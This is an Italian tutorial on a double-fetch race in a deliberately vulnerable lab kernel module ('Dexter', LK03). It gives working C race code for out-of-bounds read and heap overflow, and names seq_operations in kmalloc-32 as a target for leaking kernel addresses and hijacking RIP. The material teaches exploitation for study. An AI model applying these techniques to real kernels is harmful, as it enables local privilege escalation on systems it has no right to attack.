In LK03 (Dexter) studieremo una vulnerabilità chiamata Double Fetch. Per prima cosa scarica i file di LK03.

Opzioni di avvio di QEMU

Nel challenge LK03, SMEP, KASLR e KPTI sono attivi, mentre SMAP è disattivato. Ricorda inoltre che la vulnerabilità riguarda una race, quindi il kernel viene eseguito in multi-core[1].
SMAP è stato disabilitato solo per semplificare l’elevazione di privilegi; la vulnerabilità di per se si attiverebbe anche con SMAP attivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu kvm64,+smep \
-smp 2 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user

Analisi del sorgente

Partiamo dal codice sorgente di LK03, che si trova in src/dexter.c.
Il modulo è un semplice device che può memorizzare fino a 0x20 byte e viene controllato tramite ioctl, con due comandi: uno per leggere e uno per scrivere i dati.

1
2
3
4
5
6
7
8
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
...
switch (cmd) {
case CMD_GET: return copy_data_to_user(filp, (void*)arg);
case CMD_SET: return copy_data_from_user(filp, (void*)arg);
default: return -EINVAL;
}

Quando il device viene aperto, private_data riceve un buffer da 0x20 byte allocato con kzalloc. Quando viene chiuso, il buffer viene liberato:

1
2
3
4
5
6
7
8
9
10
static int module_open(struct inode *inode, struct file *filp) {
filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!filp->private_data) return -ENOMEM;
return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
kfree(filp->private_data);
return 0;
}

Quando arriva una ioctl, il modulo valida la richiesta userland con verify_request, controllando che il puntatore non sia NULL è che la lunghezza non superi 0x20:

1
2
3
4
5
6
7
8
9
10
11
12
13
int verify_request(void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -1;
if (!req.ptr || req.len > BUFFER_SIZE)
return -1;
return 0;
}

...

if (verify_request((void*)arg))
return -EINVAL;

Poi CMD_GET e CMD_SET copiano i dati fra userland e private_data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
long copy_data_to_user(struct file *filp, void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -EINVAL;
if (copy_to_user(req.ptr, filp->private_data, req.len))
return -EINVAL;
return 0;
}

long copy_data_from_user(struct file *filp, void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -EINVAL;
if (copy_from_user(filp->private_data, req.ptr, req.len))
return -EINVAL;
return 0;
}

A prima vista sembra che non ci sia spazio per uno heap overflow, proprio per via del controllo in verify_request.

Double Fetch

Double Fetch è il nome dato a un particolare tipo di data race che si verifica in kernel space. Come suggerisce il nome, la race nasce quando il kernel legge due volte lo stesso dato userland.
Se il kernel esegue due fetch distinti dello stesso contenuto userland, fra il primo è il secondo un altro thread potrebbe modificarlo:

Double Fetch

Se questo succede, il primo e il secondo fetch non vedono più lo stesso valore e lo stato interno del kernel diventa incoerente. Questa situazione è ciò che chiamiamo Double Fetch.
La differenza principale rispetto alla race vista in LK01 è che qui il problema non si risolve semplicemente mettendo un mutex nel codice kernel: la sorgente del dato resta in userland e può essere modificata dall’esterno.

Nel nostro driver, la richiesta userland viene letta una prima volta in verify_request è una seconda volta in copy_data_to_user o copy_data_from_user. Se durante quell’intervallo si cambia il campo len, si può superare il controllo iniziale è poi effettuare la copia con una dimensione più grande, causando uno heap overflow.

Lupetto

Quando devi usare più volte dati forniti dallo userland, la cosa giusta è copiarli una volta sola nel kernel e poi lavorare sempre sulla copia kernel.

Innescare la vulnerabilità

Partiamo dall’uso corretto del driver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int set(char *buf, size_t len) {
request_t req = { .ptr=buf, .len=len };
return ioctl(fd, CMD_SET, &req);
}
int get(char *buf, size_t len) {
request_t req = { .ptr=buf, .len=len };
return ioctl(fd, CMD_GET, &req);
}

int main() {
fd = open("/dev/dexter", O_RDWR);
if (fd == -1) fatal("/dev/dexter");

char buf[0x20];
set("Hello, World!", 13);
get(buf, 13);
printf("%s\n", buf);

close(fd);
return 0;
}

Ora costruiamo una race che alteri la dimensione nel momento giusto. Nell’esempio seguente, il thread principale invoca CMD_GET con la dimensione corretta, mentre un thread secondario modifica req.len in userland.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int fd;
request_t req;

int set(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_SET, &req);
}
int get(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_GET, &req);
}

int race_win = 0;

void *race(void *arg) {
while (!race_win) {
req.len = 0x100;
usleep(1);
}
return NULL;
}

int main() {
fd = open("/dev/dexter", O_RDWR);
if (fd == -1) fatal("/dev/dexter");

char buf[0x100] = {}, zero[0x100] = {};
pthread_t th;
pthread_create(&th, NULL, race, NULL);
while (!race_win) {
get(buf, 0x20);
if (memcmp(buf, zero, 0x100) != 0) {
race_win = 1;
break;
}
}
pthread_join(th, NULL);

for (int i = 0; i < 0x100; i += 8) {
printf("%02x: 0x%016lx\n", i, *(unsigned long*)&buf[i]);
}

close(fd);
return 0;
}

Se il thread secondario modifica req.len dopo il passaggio in verify_request ma prima della copia effettiva, copy_data_to_user userà una dimensione non più valida e si otterrà una lettura oltre i limiti.

Per CMD_GET basta verificare se siamo riusciti a leggere oltre 0x20 byte. Per CMD_SET, invece, non è altrettanto immediato capire se l’overflow ha davvero avuto successo. Qui l’autore ha scelto una strategia pratica: provare l’overflow per un numero costante di iterazioni è poi verificare il risultato facendo una overread.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void overread(char *buf, size_t len) {
char *zero = (char*)malloc(len);
pthread_t th;
pthread_create(&th, NULL, race, (void*)len);

memset(buf, 0, len);
memset(zero, 0, len);
while (!race_win) {
get(buf, 0x20);
if (memcmp(buf, zero, len) != 0) {
race_win = 1;
break;
}
}

pthread_join(th, NULL);
race_win = 0;
free(zero);
}

void overwrite(char *buf, size_t len) {
pthread_t th;
char *tmp = (char*)malloc(len);

while (1) {
// prova la race un numero fisso di volte
pthread_create(&th, NULL, race, (void*)len);
for (int i = 0; i < 0x10000; i++) set(buf, 0x20);
race_win = 1;
pthread_join(th, NULL);
race_win = 0;
// se l'heap overflow non è riuscito, riprova
overread(tmp, len);
if (memcmp(tmp, buf, len) == 0) break;
}

free(tmp);
}

Nell’ambiente dell’autore, facendo una prova del genere l’overflow ha casualmente corrotto dati sensibili posti subito dietro il buffer e ha prodotto un kernel panic:

Crash causato dall'heap overflow

seq_operations

La zona che riusciamo a corrompere appartiene a kmalloc-32, quindi serve un oggetto utile della stessa size class. Un candidato molto comodo e seq_operations:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

seq_operations contiene gli handler usati dal kernel quando lo userland legge file speciali come quelli esposti da sysfs, debugfs o procfs. Si può quindi ottenere semplicemente aprendo file come /proc/self/stat.
Poiché è una struttura composta da function pointer, ci permette sia di leakare indirizzi del kernel sia di controllare RIP. Per esempio, una semplice read sul file corrispondente porta all’esecuzione del callback start.

Lupetto

In `kmalloc-32` esistono anche molte altre strutture utili all'attacco.
Nell'esercizio puoi provare a cercarne altre.

Elevazione di privilegi

In questo challenge SMAP è disabilitato, quindi possiamo fare stack pivot direttamente verso una ROP chain in userland. Costruisci la tua ROP chain e prova a ottenere l’elevazione di privilegi.

Elevazione di privilegi tramite Double Fetch

Modifica l'exploit in modo che continui a funzionare anche con SMAP attivo.

  1. In un capitolo successivo vedremo anche tecniche per innescare race simili su sistemi single-core. ↩︎